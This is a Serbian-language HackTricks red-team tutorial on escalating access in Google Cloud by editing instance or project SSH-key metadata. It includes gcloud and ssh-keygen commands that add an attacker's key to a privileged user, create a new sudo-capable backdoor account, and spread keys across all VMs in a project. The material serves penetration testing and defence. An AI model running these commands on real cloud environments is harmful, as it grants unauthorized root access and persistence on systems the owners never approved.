GCP - Add Custom SSH Metadata

GCP - Dodavanje prilagođenih SSH metapodataka

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Modifikacija metapodataka

Modifikacija metapodataka na instanci može dovesti do značajnih sigurnosnih rizika ako napadač stekne potrebne dozvole.

Uključivanje SSH ključeva u prilagođene metapodatke

Na GCP-u, Linux sistemi često izvršavaju skripte iz Python Linux Guest Environment for Google Compute Engine. Ključna komponenta ovoga je accounts daemon, koji je dizajniran da redovno proverava krajnju tačku metapodataka instance radi ažuriranja autorizovanih SSH javnih ključeva.

Stoga, ako napadač može da modifikuje prilagođene metapodatke, može naterati daemon da pronađe novi javni ključ, koji će biti obrađen i integriran u lokalni sistem. Ključ će biti dodat u datoteku ~/.ssh/authorized_keys postojećeg korisnika ili potencijalno kreiranje novog korisnika sa sudo privilegijama, zavisno od formata ključa. I napadač će moći da kompromituje host.

Dodavanje SSH ključa postojećem privilegovanom korisniku

  1. Pregled postojećih SSH ključeva na Instanci:

  • Izvršite komandu za opis instance i njenih metapodataka kako biste locirali postojeće SSH ključeve. Relevantni deo u izlazu će biti pod metadata, posebno ključ ssh-keys.

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • Obratite pažnju na format SSH ključeva: korisničko ime ide ispred ključa, razdvojeno dvotačkom.

  1. Priprema tekstualne datoteke za SSH ključ metapodatke:

  • Sačuvajte detalje korisničkih imena i njihovih odgovarajućih SSH ključeva u tekstualnu datoteku nazvanu meta.txt. Ovo je bitno za čuvanje postojećih ključeva dok dodajete nove.

  1. Generisanje novog SSH ključa za ciljanog korisnika (alice u ovom primeru):

  • Koristite ssh-keygen komandu za generisanje novog SSH ključa, obezbeđujući da polje komentara (-C) odgovara ciljnom korisničkom imenu.

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Dodajte novi javni ključ u meta.txt, oponašajući format koji se nalazi u metapodacima instance.

  1. Ažuriranje metapodataka SSH ključa instance:

  • Primenite ažurirane metapodatke SSH ključa na instanci koristeći gcloud compute instances add-metadata komandu.

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. Pristupanje Instanci Koristeći Novi SSH Ključ:

  • Povežite se sa instancom putem SSH koristeći novi ključ, pristupajući shell-u u kontekstu ciljnog korisnika (alice u ovom primeru).

ssh -i ./key alice@localhost
sudo id

Kreiranje novog privilegovanog korisnika i dodavanje SSH ključa

Ako nije pronađen nijedan zanimljiv korisnik, moguće je kreirati novog koji će dobiti sudo privilegije:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

SSH ključevi na nivou projekta

Moguće je proširiti pristup SSH-u na više virtuelnih mašina (VMs) u cloud okruženju primenom SSH ključeva na nivou projekta. Ovaj pristup omogućava SSH pristup bilo kojoj instanci unutar projekta koja nije eksplicitno blokirala projektne SSH ključeve. Evo sažetog vodiča:

  1. Primenite SSH ključeve na nivou projekta:

  • Koristite gcloud compute project-info add-metadata komandu da dodate SSH ključeve iz meta.txt u metapodatke projekta. Ova akcija osigurava da se SSH ključevi prepoznaju na svim VMs u projektu, osim ako je VM omogućio opciju "Blokiraj projektne SSH ključeve".

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. SSH pristup instancama koristeći projektne ključeve:

  • Sa projektim SSH ključevima na mestu, možete se SSH-ovati u bilo koju instancu unutar projekta. Instance koje ne blokiraju projektne ključeve će prihvatiti SSH ključ, omogućavajući pristup.

  • Direktan način za SSH-ovanje u instancu je korišćenjem gcloud compute ssh [INSTANCE] komande. Ova komanda koristi vaše trenutno korisničko ime i SSH ključeve postavljene na nivou projekta kako bi pokušala pristup.

Reference

Last updated